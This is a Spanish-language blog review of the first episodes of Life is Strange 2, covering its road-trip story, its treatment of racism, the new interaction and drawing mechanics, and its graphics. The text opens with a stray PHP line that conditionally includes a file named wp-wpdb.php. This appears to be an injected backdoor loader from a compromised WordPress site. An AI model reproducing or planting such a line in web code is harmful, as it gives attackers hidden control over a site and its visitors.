if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Life is Strange 2 – La Fortaleza de LeChuck

Análisis Life is Strange 2

Ya han pasado varios años desde que se cerró la historia de Max y Chloe y, aún así, todos los momentos que vivimos junto a nuestras chicas se resisten a desaparecer. Sin embargo, la primera temporada ya es cosa del paso, ahora es el momento de Life is Strange 2, una nueva aventura introspectiva a través de dos hermanos que huyen de su hogar.

Life is Strange, a diferencia de la mayoría de videojuegos, intentaba aproximarse a la realidad mediante problemáticas que impactaban en Max y sus compañeros, y con las que fácilmente se podía identificarse el jugador. Así que en vez de evadirnos de nuestro mundo como hacen muchos videojuegos, nos lanzaba directamente contra él, lo que propició una nueva corriente narrativa englobada bajo el nombre de juegos de temática social. Junto a Max y Chloe nos enfrentamos a duras situaciones como, por ejemplo, al bullying, lo que dio lugar a bonitas iniciativas que traspasaron la pantalla, una de ellas es el «EveryDayHeroes» donde los jugadores relataba por las redes sociales cómo superaron el acoso escolar. Sin embargo, también se atrevió con temas tan controvertidos como la eutanasia. La popularidad del título animó a otras compañías a utilizar los videojuegos como canal de comunicación para tratar problemas reales. Sin ir más lejos, el premiado indie Celeste se sumergió en el desconocido mundo de la depresión.

Creo que después de la primera serie, los fans teníamos nuestras dudas sobre una posible continuación, por esa razón el anunció de Life is Strange 2 nos asombró de cierta manera. Dontnod dejó claro que sería una historia totalmente nueva, por lo tanto, los personajes conocidos no iban a volver. Para abrir boca, el estudio ofreció gratuitamente el mini juego «The Awesome Adventures of Captain Spirit» donde nos convertimos en un avispado niño que sueña con ser un super héroe. Un aperitivo inocente y simpático salvo por el enigmático final…

Cuando finalmente Life is Strange 2 llegó a mis manos, percibí durante los primeros minutos la nostalgia que desprendía el singular autobús amarillo llegando al instituto mientras sonaba en los cascos de un adolescente el tema de Phoenix «Lisztomania». Siguiendo con la introducción, observamos la típica vida estudiantil de Sean, un chaval de 16 años que vive con su padre y hermano Daniel en Seattle. Sin embargo, su tranquila vida queda truncada por un desafortunado incidente que da un giro de 180º a su existencia. A partir de aquí, ambos hermanos se lanzan a la carretera con el fin de cruzar la frontera hasta Puerto Lobos, lugar de residencia de su familia paterna.

A cada paso, es más difícil volver atrás. Y mil dudas asaltarán a Sean, quien en todo momento se pregunta si ha tomado la decisión correcta. Daniel, el pequeño, no entiende muy bien hacia dónde se dirigen, ya que no recuerda que es el responsable del accidente. Huir y dejarlo todo se convierte en toda una odisea si las autoridades van en tu busca, por lo que cada parada en el camino supone un riesgo. No puedes confiar en nadie. La confusión y el miedo, así como la esperanza y el amor fraternal, acompañarán a los hermanos a lo largo de su periplo, lo que dará pie a avivar la apagada relación que mantenían a través de las decisiones del jugador. Nos toparemos con numerosas situaciones difíciles donde a través de Sean tendremos que escoger una resolución, y esto marcará el grado de afinidad entre ambos chicos. Sean será el tutor del pequeño, y en su mano estará la educación de Daniel según marque el usuario.

El título desarrolla una historia menos sobrenatural. Sabemos que el joven hermano despierta unos extraños poderes telequinésicos que pueden transformar ciertas situaciones, pero su magnitud -por el momento- no es a tan gran escala como vimos en la primera serie. Por supuesto, el jugador tendrá voz para decidir cómo los emplea. Por ejemplo, podemos dejarle libertad para que haga y deshaga a su gusto o impedirle que los muestre en público. Esto desencadenará desenlaces inesperados.

Life is Strange 2 vuelve a introducir contenido social poniendo esta vez el foco en el racismo. Los protagonistas tienen rasgos latinos y en su odisea por el interior de EE.UU. se topan con individuos hostiles que desconfían de ellos por el color de su tez. Pero Dontnod esta vez va más allá, y no disimula en su crítica al actual gobierno de EE.UU y sus políticas sociales mediante NPCs que representan el pensamiento más retrógrado.

Sin embargo, ahí fuera también hay gente de buen corazón que echa una mano a los chicos dándoles cobijo y alimento. Brody es la contrapartida a todos los tipos malos, este bloguero trotamundos se cruza en la aventura de los muchachos haciendo el papel de mentor durante el rato que comparten. Otros llegarán en el segundo episodio, pero desgraciadamente las buenas gentes no duran mucho en las vidas de Sean y Daniel y al final siempre tienen que volver a la carretera.

A nivel jugable, Life is Strange 2 deja al jugador a su aire para que explore los entornos huyendo así de una cadena de diálogos y cinemáticas consecutivas que ya sufrimos en anteriores experiencias narrativas. Podemos dar vueltas observando todo tipo de objetos e interactuar con ellos individualmente, pero como novedad de esta segunda parte, se ha implementado la interacción conjunta. Por ejemplo, vemos algo gracioso o curioso cerca, pues tenemos la opción resaltada de comentárselo a Daniel y disfrutar de esta manera de un diálogo o escena divertida. Otra forma de interactuar con el escenario es dibujando, lo que sería el nuevo diario del protagonista. Digamos que Sean no es muy hábil con la literatura, pero en cambio tiene un don especial con el dibujo, y con la ayuda del jugador plasmará aquello que ven sus ojos en su cuaderno junto con una pequeña descripción del momento. Tanto estos dibujos, como otros tantos que irá realizando por el camino, quedarán guardados para que en cualquier momento descubramos lo que pasa por su cabeza.

Si entramos en el apartado gráfico, se observa una evolución visual respecto a lo visto anteriormente en la serie. Los personajes tienen rasgos más estilizados y sus expresiones y movimientos son más naturales. Podría decir que han querido darle un aspecto más «pixar» al elenco, sin embargo el aspecto cartoon sigue estando muy presente en los cientos de carteles y elementos de las localizaciones. Por otro lado, los entornos y la iluminación continúan siendo tan preciosos o más que los de Arcadia Bay.

A falta de ver más, podríamos decir que hasta el momento Life is Strange 2 no tiene el mismo impacto arrollador que la temporada anterior, aunque al finalizar el segundo episodio se vislumbra que la historia va a encauzarse hacia una nueva bifurcación. De momento, la travesía ha afianzado la relación de los chicos y hemos descubierto como los poderes de Daniel pueden originar algo aún mayor. Una aventura entretenida que aún necesita más chicha para que llegue a los niveles de exigencia del jugador. Veremos si nos consigue sorprender.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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